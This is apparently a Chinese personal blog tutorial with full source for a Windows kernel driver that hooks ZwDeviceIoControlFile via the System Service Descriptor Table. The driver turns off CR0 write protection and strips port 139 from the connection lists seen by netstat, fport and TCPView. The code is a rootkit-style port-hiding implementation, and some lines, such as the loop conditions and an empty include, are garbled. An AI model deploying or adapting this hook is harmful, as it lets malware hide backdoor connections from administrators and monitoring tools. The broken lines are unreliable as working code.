Hook 系统服务隐藏端口

作者: JIURL
主页: http://jiurl.yeah.net

有时候写程序，调试程序真是一件非常有趣的事，就比如这次，蹦蹦跳跳，笑嘻嘻，意犹未尽的就把这个程序搞好了。

netstat 或者其他各种列举端口的工具，比如fport,或者 sysinternals 的 Tcpview，都是调用 Iphlpapi.dll 中的 API 来完成端口的列举。而 Iphlpapi.dll 中的 API 最终是使用 ZwDeviceIoControlFile ，向设备对象 Device/Tcp 发 IOCTL_TCP_QUERY_INFORMATION_EX 来得到各种信息的。于是我们只要Hook相应的System Service ，然后对得到的结果做一些处理，弄掉不希望出现的端口信息就可以了。不过真正的问题在于，IOCTL_TCP_QUERY_INFORMATION_EX 和端口相关的各种结构定义，参数含义目前都（大部分）是未公开，没人知道的，也就是Undocumented的。Undocumented?? ring3调试，我熟啊。ring0调试，我熟啊。Windows驱动，我熟啊。Windows系统，我熟啊。我怕谁啊我。Undocumented?? 爽，要的就是Undocumented。

通过ring3调试，分析Iphlpapi.dll是如何使用 IOCTL_TCP_QUERY_INFORMATION_EX 相关的各种参数，结合msdn中的一些信息，于是很轻松的搞清了需要了解的结构。用我自己写的awx建一个VC的驱动项目，写好了Hook部分。

关于本例中使用的解决Hook在各种Windows版本下运行的方法，在很多地方很多地方都出现了，我不清楚最早是谁想出来的，我是在《Undocumented Windows NT》一书的源码中第一次看到这种方法的。

下面是实现源码，很简单，我就不多说什么了。

#if 0 //================================================================ Copyright (c) JIURL, All Rights Reserved ======================================================================== /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ Module Name: Jiurl_tcpioctl.h About: - 这个驱动项目由一个我写的 AppWizard 创建。 [ HomePage ] http://jiurl.yeah.net ~~~~~~~~~~~~~~~~~~~~~ [ Email ] [email protected] ~~~~~~~~~~~~~~~~~~~~ [ Forum ] http://jiurl.cosoft.org.cn/forum/index.php ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - 有偿定制 AppWizard ，请发邮件联系 。 Comments: 本文件中的所有内容目前都是未公开的，由我分析得出，是隐藏端口的关键内容。 Undocumented?? 爽!要的就是 Undocumented 。 /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ #endif // jiurl // IPSNMPInfo 结构的定义是根据 RFC 2011 // jiurl // 所以我根据 RFC 2022 ，仿 IPSNMPInfo， 定义结构 TCPSNMPInfo // jiurl // 再通过一些分析得到一些扩展部分的定义 typedef struct TCPSNMPInfo { ULONG tcpsi_RtoAlgorithm; ULONG tcpsi_RtoMin; ULONG tcpsi_RtoMax; ULONG tcpsi_MaxConn; ULONG tcpsi_ActiveOpens; ULONG tcpsi_PassiveOpens; ULONG tcpsi_AttemptFails; ULONG tcpsi_EstabResets; ULONG tcpsi_CurrEstab; ULONG tcpsi_InSegs; ULONG tcpsi_OutSegs; ULONG tcpsi_RetransSegs; ULONG tcpsi_unknown1; ULONG tcpsi_unknown2; ULONG tcpsi_numconn; } TCPSNMPInfo; #define tcpRtoAlgorithm_other 1 // none of the following #define tcpRtoAlgorithm_constant 2 // a constant rto #define tcpRtoAlgorithm_rsre 3 // MIL-STD-1778, Appendix B #define tcpRtoAlgorithm_vanj 4 // Van Jacobson's algorithm #define TCP_MIB_STATS_ID 1 #define TCP_MIB_ADDRTABLE_ENTRY_ID 0x101 #define TCP_MIB_ADDRTABLE_ENTRY_EX_ID 0x102 typedef struct TCPAddrEntry { ULONG tae_ConnState; ULONG tae_ConnLocalAddress; ULONG tae_ConnLocalPort; ULONG tae_ConnRemAddress; ULONG tae_ConnRemPort; } TCPAddrEntry; #define tcpConnState_closed 1 #define tcpConnState_listen 2 #define tcpConnState_synSent 3 #define tcpConnState_synReceived 4 #define tcpConnState_established 5 #define tcpConnState_finWait1 6 #define tcpConnState_finWait2 7 #define tcpConnState_closeWait 8 #define tcpConnState_lastAck 9 #define tcpConnState_closing 10 #define tcpConnState_timeWait 11 #define tcpConnState_deleteTCB 12 typedef struct TCPAddrExEntry { ULONG tae_ConnState; ULONG tae_ConnLocalAddress; ULONG tae_ConnLocalPort; ULONG tae_ConnRemAddress; ULONG tae_ConnRemPort; ULONG pid; } TCPAddrExEntry; #if 0 //================================================================ Copyright (c) JIURL, All Rights Reserved ======================================================================== /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ Module Name: JiurlPortHide.h About: - 这个驱动项目由一个我写的 AppWizard 创建。 [ HomePage ] http://jiurl.yeah.net ~~~~~~~~~~~~~~~~~~~~~ [ Email ] [email protected] ~~~~~~~~~~~~~~~~~~~~ [ Forum ] http://jiurl.cosoft.org.cn/forum/index.php ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - 有偿定制 AppWizard ，请发邮件联系 。 /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ #endif #define PORTHIDE 139 #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; //Used only in checked build unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; NTSYSAPI NTSTATUS NTAPI ZwDeviceIoControlFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength ); typedef NTSTATUS (*ZWDEVICEIOCONTROLFILE)( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength ); ZWDEVICEIOCONTROLFILE OldZwDeviceIoControlFile; void DriverUnload(IN PDRIVER_OBJECT DriverObject); NTSTATUS DriverDispatch(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp); NTSTATUS NewZwDeviceIoControlFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength ); // jiurl // from addrconv.cpp #define ntohs(s) / ( ( ((s) >> 8) & 0x00FF ) | / ( ((s) << 8) & 0xFF00 ) ) // jiurl // from tcpioctl.h tdiinfo.h tdistat.h #define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003 //* Structure of an entity ID. typedef struct TDIEntityID { ULONG tei_entity; ULONG tei_instance; } TDIEntityID; //* Structure of an object ID. typedef struct TDIObjectID { TDIEntityID toi_entity; ULONG toi_class; ULONG toi_type; ULONG toi_id; } TDIObjectID; #define CONTEXT_SIZE 16 // // QueryInformationEx IOCTL. The return buffer is passed as the OutputBuffer // in the DeviceIoControl request. This structure is passed as the // InputBuffer. // struct tcp_request_query_information_ex { TDIObjectID ID; // object ID to query. ULONG_PTR Context[CONTEXT_SIZE/sizeof(ULONG_PTR)]; // multi-request context. Zeroed // for the first request. }; typedef struct tcp_request_query_information_ex TCP_REQUEST_QUERY_INFORMATION_EX, *PTCP_REQUEST_QUERY_INFORMATION_EX; #define CO_TL_ENTITY 0x400 #define INFO_CLASS_PROTOCOL 0x200 #define INFO_TYPE_PROVIDER 0x100 　 #if 0 //================================================================ Copyright (c) JIURL, All Rights Reserved ======================================================================== /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ Module Name: JiurlPortHide.cpp About: - 这个驱动项目由一个我写的 AppWizard 创建。 [ HomePage ] http://jiurl.yeah.net ~~~~~~~~~~~~~~~~~~~~~ [ Email ] [email protected] ~~~~~~~~~~~~~~~~~~~~ [ Forum ] http://jiurl.cosoft.org.cn/forum/index.php ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - 有偿定制 AppWizard ，请发邮件联系 。 /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ #endif #ifdef __cplusplus extern "C" { #endif #include #include "JiurlPortHide.h" #include "Jiurl_tcpioctl.h" #ifdef __cplusplus } #endif NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) { DbgPrint("JiurlPortHide: Hello,This is DriverEntry!/n"); DriverObject->MajorFunction[IRP_MJ_create] = DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverDispatch; DriverObject->DriverUnload = DriverUnload; // save old system call locations OldZwDeviceIoControlFile = (ZWDEVICEIOCONTROLFILE)(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]); _asm { CLI //dissable interrupt MOV EAX, CR0 //move CR0 register into EAX AND EAX, NOT 10000H //disable WP bit MOV CR0, EAX //write register back } (KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]) = (ULONG)NewZwDeviceIoControlFile; _asm { MOV EAX, CR0 //move CR0 register into EAX OR EAX, 10000H //enable WP bit MOV CR0, EAX //write register back STI //enable interrupt } return STATUS_SUCCESS; } NTSTATUS DriverDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ) { Irp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest (Irp,IO_NO_INCREMENT); return Irp->IoStatus.Status; } void DriverUnload(IN PDRIVER_OBJECT DriverObject) { DbgPrint("JiurlPortHide: Bye,This is DriverUnload!/n"); _asm { CLI //dissable interrupt MOV EAX, CR0 //move CR0 register into EAX AND EAX, NOT 10000H //disable WP bit MOV CR0, EAX //write register back } (KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]) = (ULONG)OldZwDeviceIoControlFile; _asm { MOV EAX, CR0 //move CR0 register into EAX OR EAX, 10000H //enable WP bit MOV CR0, EAX //write register back STI //enable interrupt } } NTSTATUS NewZwDeviceIoControlFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength ) { NTSTATUS rc; rc = ((ZWDEVICEIOCONTROLFILE)(OldZwDeviceIoControlFile)) ( FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, IoControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength ); if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX) { return(rc); } TCP_REQUEST_QUERY_INFORMATION_EX req; TCPAddrEntry* TcpTable; TCPAddrExEntry* TcpExTable; ULONG numconn; LONG i; DbgPrint("JiurlPortHide: IOCTL_TCP_QUERY_INFORMATION_EX/n"); if( NT_SUCCESS( rc ) ) { req.ID.toi_entity.tei_entity = CO_TL_ENTITY; req.ID.toi_entity.tei_instance = 0; req.ID.toi_class = INFO_CLASS_PROTOCOL; req.ID.toi_type = INFO_TYPE_PROVIDER; req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID; if( !memcmp( InputBuffer, &req, sizeof(TDIObjectID) ) ) { numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry); TcpTable = (TCPAddrEntry*)OutputBuffer; for( i=0; i{ if( ntohs(TcpTable[i].tae_ConnLocalPort) == PORTHIDE ) { DbgPrint("JiurlPortHide: HidePort %d/n", ntohs(TcpTable[i].tae_ConnLocalPort)); memcpy( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) ); numconn--; i--; } } IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry); return(rc); } req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_EX_ID; if( !memcmp( InputBuffer, &req, sizeof(TDIObjectID) ) ) { numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry); TcpExTable = (TCPAddrExEntry*)OutputBuffer; for( i=0; i{ if( ntohs(TcpExTable[i].tae_ConnLocalPort) == PORTHIDE ) { DbgPrint("JiurlPortHide: HidePort %d/n",ntohs(TcpTable[i].tae_ConnLocalPort)); memcpy( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) ); numconn--; i--; } } IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry); return(rc); } } return(rc); }

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